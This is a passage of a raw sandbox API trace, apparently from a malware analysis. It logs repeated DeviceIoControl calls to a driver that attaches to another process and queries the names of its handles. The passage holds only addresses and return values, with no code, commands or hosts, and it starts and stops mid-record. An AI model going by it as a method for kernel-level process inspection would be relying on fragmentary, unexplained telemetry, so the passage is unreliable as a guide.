lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0113.164] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.164] PsAcquireProcessExitSynchronization () returned 0x0 [0113.164] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.164] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0113.164] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.164] PsReleaseProcessExitSynchronization () returned 0x2 [0113.164] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.164] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.164] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0113.164] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.164] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.164] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.165] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.165] PsAcquireProcessExitSynchronization () returned 0x0 [0113.165] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.165] ObReferenceObjectByHandle (in: Handle=0x434, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f67870, HandleInformation=0x0) returned 0x0 [0113.165] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.165] PsReleaseProcessExitSynchronization () returned 0x2 [0113.165] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.165] ObQueryNameString (in: Object=0xfffffa8002f67870, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.165] ObfDereferenceObject (Object=0xfffffa8002f67870) returned 0x1 [0113.165] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.165] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.165] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.165] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0113.165] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.165] PsAcquireProcessExitSynchronization () returned 0x0 [0113.165] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.165] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003121070, HandleInformation=0x0) returned 0x0 [0113.165] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.165] PsReleaseProcessExitSynchronization () returned 0x2 [0113.165] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.165] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.165] ObfDereferenceObject (Object=0xfffffa8003121070) returned 0x12 [0113.165] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.165] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.165] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.165] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd4, lpOverlapped=0x0) returned 1 [0113.165] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.165] PsAcquireProcessExitSynchronization () returned 0x0 [0113.165] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.165] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003121270, HandleInformation=0x0) returned 0x0 [0113.165] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.165] PsReleaseProcessExitSynchronization () returned 0x2 [0113.166] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.166] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.166] ObfDereferenceObject (Object=0xfffffa8003121270) returned 0x13 [0113.166] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.166] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.166] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0113.166] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.166] PsAcquireProcessExitSynchronization () returned 0x0 [0113.166] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.166] ObReferenceObjectByHandle (in: Handle=0x458, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003247400, HandleInformation=0x0) returned 0x0 [0113.166] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.166] PsReleaseProcessExitSynchronization () returned 0x2 [0113.166] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.166] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.166] ObfDereferenceObject (Object=0xfffffa8003247400) returned 0x12 [0113.166] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.166] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.166] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0113.166] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.166] PsAcquireProcessExitSynchronization () returned 0x0 [0113.166] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.166] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f71820, HandleInformation=0x0) returned 0x0 [0113.166] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.166] PsReleaseProcessExitSynchronization () returned 0x2 [0113.166] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.166] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.166] ObfDereferenceObject (Object=0xfffffa8002f71820) returned 0x21 [0113.166] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.166] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.166] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0113.167] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.167] PsAcquireProcessExitSynchronization () returned 0x0 [0113.167] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.167] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032488b0, HandleInformation=0x0) returned 0x0 [0113.167] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.167] PsReleaseProcessExitSynchronization () returned 0x2 [0113.167] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.167] ObfDereferenceObject (Object=0xfffffa80032488b0) returned 0x12 [0113.167] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.167] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.167] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0113.167] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.167] PsAcquireProcessExitSynchronization () returned 0x0 [0113.167] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.167] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003261a90, HandleInformation=0x0) returned 0x0 [0113.167] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.167] PsReleaseProcessExitSynchronization () returned 0x2 [0113.167] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.167] ObfDereferenceObject (Object=0xfffffa8003261a90) returned 0x13 [0113.167] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.167] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.167] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0113.167] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.167] PsAcquireProcessExitSynchronization () returned 0x0 [0113.167] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.167] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003279070, HandleInformation=0x0) returned 0x0 [0113.167] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.167] PsReleaseProcessExitSynchronization () returned 0x2 [0113.167] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.167] ObfDereferenceObject (Object=0xfffffa8003279070) returned 0x12 [0113.168] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.168] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.168] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.168] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0113.168] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.168] PsAcquireProcessExitSynchronization () returned 0x0 [0113.168] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.168] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003278890, HandleInformation=0x0) returned 0x0 [0113.168] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.168] PsReleaseProcessExitSynchronization () returned 0x2 [0113.168] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.168] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.168] ObfDereferenceObject (Object=0xfffffa8003278890) returned 0x13 [0113.168] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.168] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.168] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.168] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0113.168] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.168] PsAcquireProcessExitSynchronization () returned 0x0 [0113.168] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.168] ObReferenceObjectByHandle (in: Handle=0x4d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003308a80, HandleInformation=0x0) returned 0x0 [0113.168] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.168] PsReleaseProcessExitSynchronization () returned 0x2 [0113.168] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.168] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.168] ObfDereferenceObject (Object=0xfffffa8003308a80) returned 0x12 [0113.168] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.168] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.169] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0113.169] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.169] PsAcquireProcessExitSynchronization () returned 0x0 [0113.169] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.169] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f853c0, HandleInformation=0x0) returned 0x0 [0113.169] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.169] PsReleaseProcessExitSynchronization () returned 0x2 [0113.169] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.169] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.169] ObfDereferenceObject (Object=0xfffffa8002f853c0) returned 0x12 [0113.169] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.169] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.169] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0113.169] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.169] PsAcquireProcessExitSynchronization () returned 0x0 [0113.169] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.169] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032f2ac0, HandleInformation=0x0) returned 0x0 [0113.169] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.169] PsReleaseProcessExitSynchronization () returned 0x2 [0113.169] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.169] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.169] ObfDereferenceObject (Object=0xfffffa80032f2ac0) returned 0x12 [0113.170] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.170] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.170] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0113.170] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.170] PsAcquireProcessExitSynchronization () returned 0x0 [0113.170] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.170] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032f5650, HandleInformation=0x0) returned 0x0 [0113.170] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.170] PsReleaseProcessExitSynchronization () returned 0x2 [0113.170] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.170] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.170] ObfDereferenceObject (Object=0xfffffa80032f5650) returned 0x12 [0113.170] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.170] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.170] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xfe, lpOverlapped=0x0) returned 1 [0113.170] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.170] PsAcquireProcessExitSynchronization () returned 0x0 [0113.170] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.170] ObReferenceObjectByHandle (in: Handle=0x4f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003309490, HandleInformation=0x0) returned 0x0 [0113.170] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.170] PsReleaseProcessExitSynchronization () returned 0x2 [0113.170] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.170] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.170] ObfDereferenceObject (Object=0xfffffa8003309490) returned 0x12 [0113.170] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.170] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.170] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x11a, lpOverlapped=0x0) returned 1 [0113.170] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.171] PsAcquireProcessExitSynchronization () returned 0x0 [0113.171] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.171] ObReferenceObjectByHandle (in: Handle=0x4fc, 